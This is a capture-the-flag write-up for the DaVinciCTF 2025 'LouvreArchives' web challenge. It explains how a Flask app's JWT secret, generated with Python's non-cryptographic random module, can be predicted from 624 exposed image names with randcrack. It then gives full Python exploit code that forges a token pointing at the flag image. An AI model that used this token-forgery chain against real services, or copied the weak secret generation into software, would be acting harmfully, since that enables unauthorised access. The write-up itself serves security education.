LouvreArchives – DaVinciCTF 2025

– Posted:

Challenge

- CTF:
DaVinciCTF 2025
- Website:
https://dvc.tf/
- Title:
LouvreArchives
- Category:
Web
- Difficulty:
Medium
- Description:
Deep beneath the Louvre Museum, a restricted archive holds the portraits of 650 historical figures, each stored away from public eyes. Only those with the right credentials may view them. Your credentials grant you access to only one portrait, but the rest remain hidden.

Objective : View the flag.webp image.
- Connection:
http://chall.dvc.tf:10020/

This challenge revolves around the ability to forge valid cookies once obtained the secret used by the application to sign them. The exploit leverages the possibility of predicting random patterns when non-cryptographically secure functions are used to generate numbers. After that, the way towards the flag is a matter of interactions with the platform.

Analysis

Visiting the page, nothing stands up:

Pasted image 20250524191636

Inspecting the page source reveals nothing of interest, so we dive straight into the provided code. The application is a Flask instance, serving images via randomized filenames:

def generate_random_filename():
    rdn = random.getrandbits(32)
    return f"{rdn}.webp"

image_list = [generate_random_filename() for _ in range(650)]

The path of the file to serve is specified within a JWT cookie defined like so:

def generate_jwt():
    payload = {
        'sub': 'user_id',
        'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
        'iat': datetime.datetime.utcnow(),
        'profilepicture': f'./images/image.webp' # image to serve
    }
    header = {
        'alg': 'HS256',
        'typ': 'JWT'
    }
    token = jwt.encode(
        payload,
        app.config['SECRET_KEY'],
        algorithm='HS256',
        headers=header
    )
    return token

The SECRET_KEY is also randomly generated, right after the image list:

app = Flask(__name__)

app.config['SECRET_KEY'] = str(random.getrandbits(32))

The reminder of the application handles the verification of the JWT cookie, the landing page and the incoding of the image to serve. It also provides a useful endpoint to get a list of the randomly generated image names:

@app.route('/images', methods=['GET'])
def get_all_images():
    return jsonify({'images': image_list})

Vulnerability

The vulnerability lies within using the function getrandbits(32) to generate both the image list and the application secret, in subsequent order. As stated in the Python Documentation, the generators within the random module are not to be used for security purposes. Clearly, generating an application secret for cookie signing is definitely a security purpose. Finally, the lack of server side validation on the image path value grants the attacker the ability to access any image resource once predicted the application secret.

Exploit

To reconstruct the pseudo-random sequence, we can use the randcrack tool. As explained in the Github page, the cracker requires 624 values to synchronize its internal state with the original sequence generator. After that, it’s ready for prediction.

The first step of the exploit is then to retrieve the original sequence from the /images endpoint found above, and feed the sequence to the cracker instance:

url = 'http://chall.dvc.tf:10020/'

# get random list

response = requests.get(f'{url}images')
if not response.status_code == 200:
    exit(1)

images = response.json()['images']
randoms = [int(x.split('.webp')[0]) for x in images]

# feed the randcrack

cracker = randcrack.RandCrack() 
for r in randoms[:624]:
    cracker.submit(r)

Since the secret is originally generated after 650 random values, the next step is to make the cracker predict 26 numbers. After that, we can retrieve the application secret as the 27th prediction:

for i in range(26):
    cracker.predict_getrandbits(32)

# predict secret
secret = str(cracker.predict_getrandbits(32))

The final step is a matter of forging a valid JWT containing the desidered path ./images/flag.webp and requesting the root page with that cookie:

payload = {
    'sub': 'user_id',
    'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
    'iat': datetime.datetime.utcnow(),
    'profilepicture': f'./images/flag.webp'
}
header = {
    'alg': 'HS256',
    'typ': 'JWT'
}
token = jwt.encode(
    payload,
    secret,
    algorithm='HS256',
    headers=header
)

# retrieve the image

cookies = {'token': token}
response = requests.get(url, cookies=cookies)
if not response.status_code == 200:
    exit(2)

print(response.text)

To actually see the flag image, I opted for a simple approach, saving the response from the application in a .html file and serving it locally:

$ python exploit.py > output.html
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then via the browser:

Pasted image 20250524184047

The tinkering approach is to use OCR and let the script read the flag for us.

Code

Here’s the complete exploit to obtain the flag:

import requests
import randcrack
import datetime
import jwt

url = 'http://chall.dvc.tf:10020/'

# get random list

response = requests.get(f'{url}images')
if not response.status_code == 200:
    exit(1)

images = response.json()['images']
randoms = [int(x.split('.webp')[0]) for x in images]

# feed the randcrack

cracker = randcrack.RandCrack() 
for r in randoms[:624]:
    cracker.submit(r)

for i in range(26):
    cracker.predict_getrandbits(32)

# predict secret
secret = str(cracker.predict_getrandbits(32))

# build the jwt

payload = {
    'sub': 'user_id',
    'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
    'iat': datetime.datetime.utcnow(),
    'profilepicture': f'./images/flag.webp'
}
header = {
    'alg': 'HS256',
    'typ': 'JWT'
}
token = jwt.encode(
    payload,
    secret,
    algorithm='HS256',
    headers=header
)

# retrieve the image

cookies = {'token': token}
response = requests.get(url, cookies=cookies)
if not response.status_code == 200:
    exit(2)

print(response.text)

# DVCTF{Ev3n_M0n4_doesnt_TrUsT_R4nd0m}

And just for fun, a little script implementing OCR to read the flag from the image saved locally:

from PIL import Image
import pyocr
import re
from base64 import b64decode

page = 'output.html'
image = 'flag.img'

# extract image from .html page

with open(page, 'r') as f:
    content = f.read()

encoded_image = re.findall(r'base64,([^"]+)"', content)[0]

# save image locally

with open(image, 'wb') as f:
    f.write(b64decode(encoded_image))

# read the flag

ocr = pyocr.get_available_tools()[0]
flag = ocr.image_to_string(Image.open(image))

print(flag)

# DVCTF{Ev3n_MOn4_doesnt_TrUsT_R4nd0m}

The supported OCR tools are listed in the PyOCR Documentation.

Conclusion

The challenge was actually very feasible, definitely not as tough as other ‘Medium Difficulty’ challenges.

Putting together a simple, clear, efficient Python exploit is always satisfactory, the additional OCR scripting contributed to the overall appreciation.

Finally, I enjoyed the theme of the challenge showcasing the attack chain originating from coding security overlooks.


Posted